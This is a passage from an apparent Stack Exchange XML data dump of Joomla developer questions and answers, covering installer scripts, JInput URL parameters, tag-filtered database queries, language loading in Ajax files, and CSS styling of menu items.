file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create a file called &lt;code&gt;script.php&lt;/code&gt; and include your patch code wherever you need it. This is the example &lt;code&gt;script.php&lt;/code&gt; file from the documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Script file of HelloWorld module&#xA; */&#xA;class mod_helloWorldInstallerScript&#xA;{&#xA;    /**&#xA;     * Method to install the extension&#xA;     * $parent is the class calling this method&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function install($parent) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;The module has been installed&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to uninstall the extension&#xA;     * $parent is the class calling this method&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function uninstall($parent) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;The module has been uninstalled&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to update the extension&#xA;     * $parent is the class calling this method&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function update($parent) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;The module has been updated to version' . $parent-&amp;gt;get('manifest')-&amp;gt;version) . '&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to run before an install/update/uninstall method&#xA;     * $parent is the class calling this method&#xA;     * $type is the type of change (install, update or discover_install)&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function preflight($type, $parent) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;Anything here happens before the installation/update/uninstallation of the module&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to run after an install/update/uninstall method&#xA;     * $parent is the class calling this method&#xA;     * $type is the type of change (install, update or discover_install)&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function postflight($type, $parent) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;Anything here happens after the installation/update/uninstallation of the module&amp;lt;/p&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to rename the class to match your extension name (e.g. &lt;code&gt;class mod_myPatchInstallerScript&lt;/code&gt;). The script file will be executed when your client installs the extension.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-01T03:18:21.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14144" PostTypeId="1" AcceptedAnswerId="14146" CreationDate="2015-11-01T10:18:05.127" Score="1" ViewCount="126" Body="&lt;p&gt;I am trying to extract two values from the url with Jinput.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My url is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/kitchen-guide-new/index.php?option=com_content&amp;amp;view=article&amp;amp;id=45?subscribers_email=test@gmail.com&amp;amp;subscribers_name=test&amp;amp;encoding=UTF-8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$name = $jinput-&amp;gt;get('subscribers_name','none','raw');&#xA;$email = $jinput-&amp;gt;get('subscribers_email','none','raw');&#xA;&#xA;echo $name;&#xA;echo $email;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I only get the last value; in other words I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$name = 'test';&#xA;$email = 'none'; // (should be test@gmail.com)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what I am doing wrong and how I should fix it?&lt;/p&gt;&#xA;" OwnerUserId="7195" LastEditorUserId="12352" LastEditDate="2018-07-23T20:41:16.263" LastActivityDate="2018-07-23T22:45:16.733" Title="Why is Jinput only getting one of two values from the url?" Tags="|url|jinput|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14146" PostTypeId="2" ParentId="14144" CreationDate="2015-11-01T14:51:34.847" Score="1" Body="&lt;p&gt;I guess your problem is that second question mark, the link should be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/kitchen-guide-new/index.php?option=com_content&amp;amp;view=article&amp;amp;id=45&amp;amp;subscribers_email=test@gmail.com&amp;amp;subscribers_name=test&amp;amp;encoding=UTF-8&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-11-01T14:51:34.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14147" PostTypeId="1" CreationDate="2015-11-01T15:44:27.000" Score="5" ViewCount="2918" Body="&lt;p&gt;I can use this to get published articles from the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function queryDatabase_Posts($select, $limit) {&#xA;    // Database connection and query object.&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    // Select.&#xA;    $query-&amp;gt;select($select);&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__content'));&#xA;    // Published posts only.&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('state') . ' = 1'); &#xA;    // Order by the date they are published.&#xA;    $query-&amp;gt;order('publish_up DESC');&#xA;    // Set and fetch.&#xA;    $db-&amp;gt;setQuery($query);&#xA;    return $db-&amp;gt;loadAssocList();     &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but according to &lt;a href=&quot;https://docs.joomla.org/Tables/content&quot; rel=&quot;nofollow&quot;&gt;this overview&lt;/a&gt; of the &lt;code&gt;#__content&lt;/code&gt; table tags are apparently kept in a different table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I query that table? What is it called, what's inside? Is there documentation on that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I want to query the database for posts that have a certain tag of which I have the name. So I would need to query the tag table for the ID.&lt;/p&gt;&#xA;" OwnerUserId="7101" LastEditorUserId="126" LastEditDate="2015-12-02T07:54:51.850" LastActivityDate="2016-03-01T09:09:57.063" Title="Query database for articles, filtering by tag" Tags="|php|joomla-3.4|database|tags|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14148" PostTypeId="2" ParentId="14133" CreationDate="2015-11-01T16:48:50.517" Score="1" Body="&lt;p&gt;Try enabling the 'Prepare content' option in the module settings.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-11-01T16:48:50.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14149" PostTypeId="1" CreationDate="2015-11-01T20:26:29.247" Score="1" ViewCount="248" Body="&lt;p&gt;I want to add the articles category name, when the results show up for &quot;Smart search&quot; plugin. right now it only shows the article name. i tried to use this code, but it didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $title = $this-&amp;gt;escape($item-&amp;gt;category_title); ?&amp;gt;&#xA;                            &amp;lt;?php if ($params-&amp;gt;get('link_category') &amp;amp;&amp;amp; $item-&amp;gt;catslug) : ?&amp;gt;&#xA;                                &amp;lt;?php $url = '&amp;lt;a href=&quot;' . JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;catslug)) . '&quot; itemprop=&quot;genre&quot;&amp;gt;' . $title . '&amp;lt;/a&amp;gt;'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me if there are any other way to do it? :)&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="3650" LastEditDate="2016-03-08T00:21:26.857" LastActivityDate="2016-11-03T22:48:16.887" Title="Add category name to Smart Search results?" Tags="|joomla-3.x|plugin|smartsearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14150" PostTypeId="2" ParentId="14147" CreationDate="2015-11-01T22:36:38.470" Score="3" Body="&lt;p&gt;You could &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Selecting_Records_from_Multiple_Tables&quot; rel=&quot;nofollow&quot;&gt;Join&lt;/a&gt;&lt;/strong&gt; the &lt;code&gt;#__content&lt;/code&gt; table with the one of the &lt;code&gt;#__contentitem_tag_map&lt;/code&gt;, which is the table that stores the many-to-many relationships among the various content items and the tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;join('INNER', '#__contentitem_tag_map AS tags ON `tags`.`content_item_id` = `#__content`.`id`');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your query you can filter the content items with a where:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where('(tags.tag_id = '. $yourTag .') AND `tags`.`type_id` = 1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In your script, pass your desired tag to the &lt;code&gt;$yourTag&lt;/code&gt; variable.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;tags.type_id = 1&lt;/code&gt; is the type for the tags associated with articles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-01T22:36:38.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14152" PostTypeId="1" CreationDate="2015-11-02T04:32:19.443" Score="1" ViewCount="620" Body="&lt;p&gt;What is the difference between JControllerForm and JControllerAdmin in joomla component?&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2016-02-03T00:57:16.620" Title="JControllerForm and JControllerAdmin" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14153" PostTypeId="1" AcceptedAnswerId="14154" CreationDate="2015-11-02T05:55:16.207" Score="0" ViewCount="1761" Body="&lt;p&gt;I am using Joomla 3.4.5 with protostar template, Image Show GK4, Vinaora Nivo Slider &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Internet Explorer (IE) 11, the website works fine, but lot of users have compatibility mode turned on, which makes IE think the website is designed for older versions of IE and the website does not load properly. I realize using a responsive template means it scales down elements using CSS3 media queries which are not supported on older browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot ask users to turn off compatibility mode or use another browser like Chrome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The index.php has , but it does not fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be done to address this?&lt;/p&gt;&#xA;" OwnerUserId="7197" LastActivityDate="2016-04-19T13:18:51.620" Title="Joomla website does not display properly in IE compatibility mode" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14154" PostTypeId="2" ParentId="14153" CreationDate="2015-11-02T07:17:33.830" Score="1" Body="&lt;p&gt;You could try adding the following &lt;code&gt;meta&lt;/code&gt; right after the opening &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;element of the template and see how IE in compatibility will load the page:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=Edge&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will tell IE in compatibility mode, to try to load the page with its latest mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As side note, the compatibility mode is not meant to be used by default. It's there so users can switch to it when have to view a webpage built for older IE. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-02T07:17:33.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14155" PostTypeId="1" CreationDate="2015-11-02T09:24:28.263" Score="2" ViewCount="560" Body="&lt;p&gt;In http website is loading without any problem. When I changed to https it affects alignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its not loading any CSS files and Js files in https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one suggest me how to fix this.&lt;/p&gt;&#xA;" OwnerUserId="7198" LastEditorUserId="7198" LastEditDate="2015-11-04T17:59:04.127" LastActivityDate="2015-11-04T17:59:04.127" Title="Https blocks jquery and css files" Tags="|joomla-3.x|https|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14156" PostTypeId="1" AcceptedAnswerId="14157" CreationDate="2015-11-02T09:36:19.180" Score="1" ViewCount="956" Body="&lt;p&gt;I'm using an external ajax file to perfom an ajax call inside a module.( i didnt want to edit controller or make a subcontroller just for one call )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;$(document).on('click', '.changeBtn',function(){&#xA;  var yo=&quot;&amp;lt;?php echo 'ip_searchmod_'.$unique_qsid; ?&amp;gt;&quot;;&#xA;  var text=&quot;&amp;lt;?php echo JText:: _('COM_IPROPERTY_THANASIS_ADV_SEARCH');?&amp;gt;&quot;;&#xA;  $.ajax({&#xA;&#xA;    type:&quot;POST&quot;,&#xA;    url:&quot;/templates/spiti360/html/mod_ip_homesearch/ajaxChangeSimple.php&quot;,&#xA;    success: function(response){&#xA;&#xA;      $('#' + yo).html(response);&#xA;      $('#' + yo).addClass('formSwapper');&#xA;      $('#top_search_form').addClass('divConSwapper');&#xA;      $('#swapper').addClass('simpleBtn');&#xA;      $('#swapper').removeClass('changeBtn');&#xA;      $('#swapper').text(text);&#xA;    }&#xA;&#xA;  });&#xA;&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ajax is working peftectly , my problem is that im using this &lt;code&gt;JText:: _('COM_IPROPERTY_THANASIS_FOR_SALE');&lt;/code&gt; inside the ajax file and it is echoed like : &lt;code&gt;COM_IPROPERTY_THANASIS_FOR_SALE&lt;/code&gt; instead of &lt;code&gt;For Sale&lt;/code&gt; . &#xA;On the &lt;code&gt;default.php&lt;/code&gt; file of module that language definition is working perfectly but not inside ajax file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use language override from joomla administrator but it didnt work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside ajax file i use the following includes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( JPATH_BASE . DS . 'includes' . DS . 'defines.php' );&#xA;require_once( JPATH_BASE . DS . 'includes' . DS . 'framework.php' );&#xA;require_once( JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do i have to include anything more for it to work ?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2015-11-02T10:11:34.313" Title="JText language doesnt work inside external ajax file" Tags="|joomla-2.5|ajax|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14157" PostTypeId="2" ParentId="14156" CreationDate="2015-11-02T09:43:28.943" Score="2" Body="&lt;p&gt;After you're &lt;code&gt;require_once&lt;/code&gt; calls, add the following to initialise the applications:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then load the component's language file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('com_iproperty', JPATH_ROOT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have guessed &lt;code&gt;com_iproperty&lt;/code&gt;, so if it's not correct, please change it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-11-02T10:11:34.313" LastActivityDate="2015-11-02T10:11:34.313" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14158" PostTypeId="2" ParentId="14138" CreationDate="2015-11-02T10:32:53.103" Score="1" Body="&lt;p&gt;I don't think what you're trying to do is possible cause the component won't know when to, and when not to log errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is, load the JLog class and tell your component to log all errors, like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('JLog', JPATH_LIBRARIES . '/joomla/log/log.php');&#xA;&#xA;JLog::addLogger(&#xA;    array(&#xA;        'text_file' =&amp;gt; 'com_bestia.log.php'&#xA;    ),&#xA;    JLog::ALL,&#xA;    'com_bestia'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, let's say (for example) you want to check if a file exists and want to log an error if it doesn't exist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFile::exists('path_to_file'))&#xA;{&#xA;    // import the file&#xA;}&#xA;else&#xA;{&#xA;    JLog::add('File does not exist', JLog::WARNING, 'com_bestia');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-02T10:32:53.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14159" PostTypeId="2" ParentId="14155" CreationDate="2015-11-02T11:01:19.830" Score="2" Body="&lt;p&gt;You'll need to provide a link to a page for an accurate answer, but my initial suspicion is that you'll be linking to a style sheet (or possibly javascript) with a full URL containing http rather than https.  If so, use relative links.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2015-11-02T11:01:19.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14160" PostTypeId="2" ParentId="4101" CreationDate="2015-11-02T16:08:25.480" Score="-2" Body="&lt;p&gt;A had a problem very close to this. I Spent couple of hours trying different combinations with htaccess, sef rewrite in joomla and in multilanguage plugin. Solved sipmly: my hosting provider put new security rule in my cpanel, i had to &quot;synchronize&quot; my htaccess file (click one button deep in the panel settings). That's all! Try calling you provider first, don't spend time. Sorry for my English.&lt;/p&gt;&#xA;" OwnerUserId="7199" LastActivityDate="2015-11-02T16:08:25.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14161" PostTypeId="1" AcceptedAnswerId="14170" CreationDate="2015-11-02T16:40:59.350" Score="0" ViewCount="53" Body="&lt;p&gt;Currently attempting to use two instances of the module Articles - Category. However, the results for both listings always end up the same. The problem maybe in the fact that I'm referencing the same category but with different ordering and filtering. For example, I have one list ordered by Hits (Trending) and the other by Published Date (Latest).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this? It works okay when I use a different category, but I suspect that the database call or reference is not unique when having this instance.  Attached are the screenshots for each module: &lt;a href=&quot;https://i.stack.imgur.com/A6xwj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A6xwj.png&quot; alt=&quot;Latest Module&quot;&gt;&lt;/a&gt;    &lt;a href=&quot;https://i.stack.imgur.com/9QIuF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9QIuF.png&quot; alt=&quot;Trending Module&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7200" LastEditorUserId="126" LastEditDate="2015-11-02T17:05:43.503" LastActivityDate="2015-11-03T07:41:05.723" Title="Using two instances of module -&gt; Articles - Category" Tags="|module|extensions|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14162" PostTypeId="1" CreationDate="2015-11-02T17:07:58.253" Score="0" ViewCount="101" Body="&lt;p&gt;I'm developing a content plugin to filter articles according to a field in CB profile.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepare ($context, &amp;amp;$article, &amp;amp;$params, $limitstart)&#xA;    {&#xA;    ...code for CB setup...&#xA;&#xA;Global $_CB_framework;&#xA;$CB=$_CB_framework;&#xA;$cbUser =&amp;amp; CBuser::getInstance( $myId );&#xA;&#xA;if ( ! $cbUser ) {&#xA;     $cbUser =&amp;amp; CBuser::getInstance( null );&#xA;}&#xA;&#xA;//Select the value choosen by the user in a specific field&#xA;    $category = $cbUser-&amp;gt;getField( 'cb_category' );&#xA;//Catch the category title&#xA;    $cat=&amp;amp;$article-&amp;gt;category_title;&#xA;//Put the user value in $esc&#xA;    $esc= array ($category); &#xA;//If the value of the user choice correspond to the name of the category&#xA;    if(in_array($cat, $esc) ) {&#xA;&#xA;// Hide the entire article.&#xA;// Now what i do is hide title, text, hits and other properties of $article&#xA;    unset($article-&amp;gt;title);&#xA;    unset($article-&amp;gt;introtext);&#xA;    unset($article-&amp;gt;text);&#xA;    unset($article-&amp;gt;hits);&#xA;&#xA;}&#xA;&#xA; else&#xA;    echo (' &amp;lt;/br&amp;gt;Nothing to do&amp;lt;/br&amp;gt;'); &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To hide all content I've tried to unset $article property like $article-&gt;text and it's work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But...I need more...&lt;br&gt;&#xA;I need to unset the entire $article object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unset or hide.&lt;br&gt;&#xA;I've tried to change $article state property to state-&gt;0 (unpublished) but works like a simple label and the article was still displayed.&#xA;Any idea about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7201" LastEditorUserId="7201" LastEditDate="2015-11-03T15:28:01.747" LastActivityDate="2015-12-31T01:07:34.463" Title="Is possibile to hide $article object" Tags="|php|plugin|articles|content-filtering|community-builder|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14163" PostTypeId="2" ParentId="14149" CreationDate="2015-11-02T17:34:59.647" Score="1" Body="&lt;p&gt;I don't think this supported with the current Smart Search system.&#xA;With non supported, I mean that there won't be a quick and easy way to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't dig deep into the Smart Search, so maybe I am wrong. But as far as I know, &lt;strong&gt;Results&lt;/strong&gt; for &lt;strong&gt;Search Keywords&lt;/strong&gt; of the smart search, are stored and indexed in a special table of the db.&lt;br&gt;&#xA;Smart Search at the moment only stores essential data, like &lt;strong&gt;terms&lt;/strong&gt; and their &lt;strong&gt;associative links&lt;/strong&gt;. This allows a quick and flexible search against them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;strong&gt;No additional information&lt;/strong&gt; like the category for an article to return after a search, so apparently there is not a small piece of code  to copy/paste, to achieve what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to create additional complex queries for each of the results, among other development.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-11-02T21:54:02.300" LastActivityDate="2015-11-02T21:54:02.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14165" PostTypeId="1" AcceptedAnswerId="14167" CreationDate="2015-11-02T20:27:42.173" Score="1" ViewCount="52" Body="&lt;p&gt;I am using Joomla 3 and have just added the user menu to my web pages. The user menu contains 3 items and all are in English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I have to do to get them to display in German (the front-end language)?&lt;/p&gt;&#xA;" OwnerUserId="7193" LastActivityDate="2016-03-02T08:38:27.350" Title="Why is the content of the User Menu in English and not the current language?" Tags="|joomla-3.x|language|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14166" PostTypeId="1" AcceptedAnswerId="14168" CreationDate="2015-11-03T02:32:12.213" Score="0" ViewCount="1567" Body="&lt;p&gt;I went to the Manage menu-&gt;Menu item, link css style and added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.navbar-default .navbar-nav-right&amp;gt; a,&#xA;.navbar-default .navbar-nav-right&amp;gt; a:hover, &#xA;.navbar-default .navbar-nav-right&amp;gt; a:active {&#xA;    color: #0000FF;&#xA;    font-size: 200%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for that menu item, but it did not change the color to blue or increase its font size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the menu item's font color to blue and increase its font size?&lt;/p&gt;&#xA;" OwnerUserId="7197" LastActivityDate="2015-11-03T07:01:12.877" Title="Styling a menu item to blue color and larger font size in Joomla 3.4.5" Tags="|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14167" PostTypeId="2" ParentId="14165" CreationDate="2015-11-03T06:19:58.737" Score="1" Body="&lt;p&gt;Menu items will show whatever text you enter. So, how have you managed your other menu items so far? The same applies for the User menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you didn't create these User menu items and you are using the ones that get created with the installation of the sample content. But easily you can go in Menus and edit them.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-03T06:19:58.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14168" PostTypeId="2" ParentId="14166" CreationDate="2015-11-03T07:01:12.877" Score="0" Body="&lt;p&gt;This field is for adding CSS classes, not inline styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that field add class, for example &lt;code&gt;blue-item&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your template CSS file add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.navbar-default .navbar-nav-right&amp;gt; a.blue-item,&#xA;.navbar-default .navbar-nav-right&amp;gt; a.blue-item:hover, &#xA;.navbar-default .navbar-nav-right&amp;gt; a.blue-item:active {&#xA;  color: #0000FF;&#xA;  font-size: 200%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-11-03T07:01:12.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14170" PostTypeId="2" ParentId="14161" CreationDate="2015-11-03T07:41:05.723" Score="0" Body="&lt;p&gt;As you can see in &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/models/articles.php#L141&quot; rel=&quot;nofollow&quot;&gt;getStoreId&lt;/a&gt; method in articles model, there is not ordering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this means that &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/legacy/model/list.php#L175&quot; rel=&quot;nofollow&quot;&gt;getItems&lt;/a&gt; method thinks that these results are already in cache and returns it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You alternative would be to change something that is in &lt;code&gt;getStoreId&lt;/code&gt; and then it woulde treat models with different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example make two different authors, who won't have any articles and mark them to different modules (one to latest, another to trending). Exclude these authors articles, and it should work like two different modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something that Joomla! community should work with. Can you &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues&quot; rel=&quot;nofollow&quot;&gt;create issue&lt;/a&gt; for it?&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-11-03T07:41:05.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14172" PostTypeId="2" ParentId="13782" CreationDate="2015-11-03T11:38:11.007" Score="2" Body="&lt;p&gt;I'd agree with comments, best to maybe un-publish empty articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is one possible flaw in this plan, and that is the assumption that the component being called is com_content with a single article.  What if the page the menu item points to is not com_content, or if it is a blog view of com_content?  In those instances you wont have a single article id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These thoughts aside, you could do this with the following code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get the app object, you may already be doing this in your code&#xA;$app = JFactory::getApplication();&#xA;# get the article id&#xA;$article_id = $app-&amp;gt;input-&amp;gt;get('id');&#xA;# check we have one&#xA;if ($article_id) {&#xA;    # load the JTableContent object&#xA;    $article = JTable::getInstance('content');&#xA;    $article-&amp;gt;load($article_id);&#xA;    # use these for debug&#xA;    echo $article-&amp;gt;get('title');&#xA;    echo $article-&amp;gt;get('introtext');&#xA;    if ( strlen($article-&amp;gt;get('introtext') ) ) {&#xA;        echo &quot;we have content :)&quot;;&#xA;        ?&amp;gt;&#xA;        &amp;lt;article id=&quot;content&quot;&amp;gt;&#xA;            &amp;lt;section id=&quot;mid&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/article&amp;gt;        &#xA;        &amp;lt;?php&#xA;    } else {&#xA;        echo &quot;we have no content :( &quot;;&#xA;&#xA;    }    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This uses the Joomla's JTableContent, see &lt;a href=&quot;https://docs.joomla.org/Creating_content_using_JTableContent&quot; 